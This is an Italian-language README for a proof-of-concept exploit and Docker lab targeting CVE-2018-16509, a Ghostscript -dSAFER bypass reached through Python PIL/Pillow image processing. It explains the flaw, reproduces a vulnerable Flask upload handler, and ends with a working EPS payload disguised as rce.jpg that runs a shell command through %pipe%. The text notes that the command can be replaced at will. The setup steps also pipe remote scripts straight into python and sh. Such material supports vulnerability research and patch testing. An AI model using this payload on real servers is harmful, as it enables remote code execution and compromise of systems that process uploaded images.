
PoC + Ambiente Docker per l'esecuzione di comandi di shell remota in Python PIL/Pillow tramite Ghostscript CVE-2018-16509
Ispirato da https://github.com/ysrc/PIL-RCE-By-GhostButt (PIL/Pillow RCE via CVE-2017-8291). Questa versione dell'ambiente Docker utilizza la versione più recente di Ghostscript (v9.23) e un exploit più recente (CVE-2018-16509).
Ghostscript è una suite di software basata su un interprete per i linguaggi di descrizione di pagine PostScript di Adobe Systems e Portable Document Format (PDF). In qualche modo, Ghostscript è presente nel server di produzione (ad esempio /usr/local/bin/gs) anche quando nessuna applicazione lo utilizza direttamente, perché Ghostscript viene installato come dipendenza di altro software (ad esempio ImageMagick). Sono state trovate numerose vulnerabilità in Ghostscript; una di queste è CVE-2018-16509 (scoperta da Tavis Ormandy di Google Project Zero), una vulnerabilità che consente lo sfruttamento dell'elusione di -dSAFER in Ghostscript precedente alla v9.24 per eseguire comandi arbitrari gestendo un ripristino fallito (grestore) in PostScript per disabilitare LockSafetyParams ed evitare invalidaccess. Questa vulnerabilità è raggiungibile tramite librerie come ImageMagick o librerie di immagini nei linguaggi di programmazione con wrapper Ghostscript (PIL/Pillow in questo esempio).
Per test e proof of concept, possiamo provare l'exploit in un ambiente Docker.
Installa docker/docker-compose su Ubuntu:
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python
# Install the latest version docker
curl -s https://get.docker.com/ | sh
# Run docker service
service docker start
# Install docker compose
pip install docker-compose
I passaggi di installazione di docker e docker-compose per altri sistemi operativi potrebbero essere leggermente diversi; si prega di fare riferimento alla documentazione di docker per i dettagli.
# Clone the repository
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git
# Enter the directory of repository
cd PIL-RCE-Ghostscript-CVE-2018-16509
# Compile environment
docker-compose build
# Run environment
docker-compose up -d
L'app Flask vulnerabile è accessibile su http://127.0.0.1:8000. È possibile fermare l'ambiente dopo il test.
docker-compose down -v
È possibile caricare rce.jpg (un'immagine EPS appositamente creata, non un vero JPG) per eseguire touch /tmp/got_rce sul server. Per prova, è possibile eseguire docker exec [CONTAINER_ID] ls -alt /tmp. Per ottenere CONTAINER_ID, puoi controllare con docker container ls. Per cambiare l'esecuzione della shell in altri comandi, puoi modificare touch /tmp/got_rce direttamente nel file rce.jpg.
Puoi fare riferimento alla spiegazione della vulnerabilità di Tavis Ormandy su oss-security.
Puoi controllare il codice sorgente del wrapper Ghostscript di PIL/Pillow in EPSImagePlugin.py.
Questo è il codice vulnerabile di app.py:
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
Il contenuto del file caricato verrà caricato da img = Image.open(img_path). PIL rileverà automaticamente se l'immagine è un'immagine EPS (esempio: aggiungere %!PS-Adobe-3.0 EPSF-3.0 all'inizio del file) e chiamerà _open() nella classe EpsImageFile in EPSImagePlugin.py. Per evitare raise IOError("cannot determine EPS bounding box"), è necessario aggiungere un bounding box nel file (esempio: %%BoundingBox: -0 -0 100 100).
Il corpo dell'immagine EPS verrà elaborato dal binario Ghostscript con subprocess, come possiamo vedere in EPSImagePlugin.py nella funzione Ghostscript.
# Build Ghostscript command
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
Il codice sopra viene chiamato quando load viene chiamato in Image.py, quindi solo aprire l'immagine non attiverà la vulnerabilità. Funzioni come resize, crop, rotate e save chiameranno load e attiveranno la vulnerabilità.
Combinato con il POC di Tavis Ormandy, possiamo creare rce.jpg per l'esecuzione remota di comandi shell.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops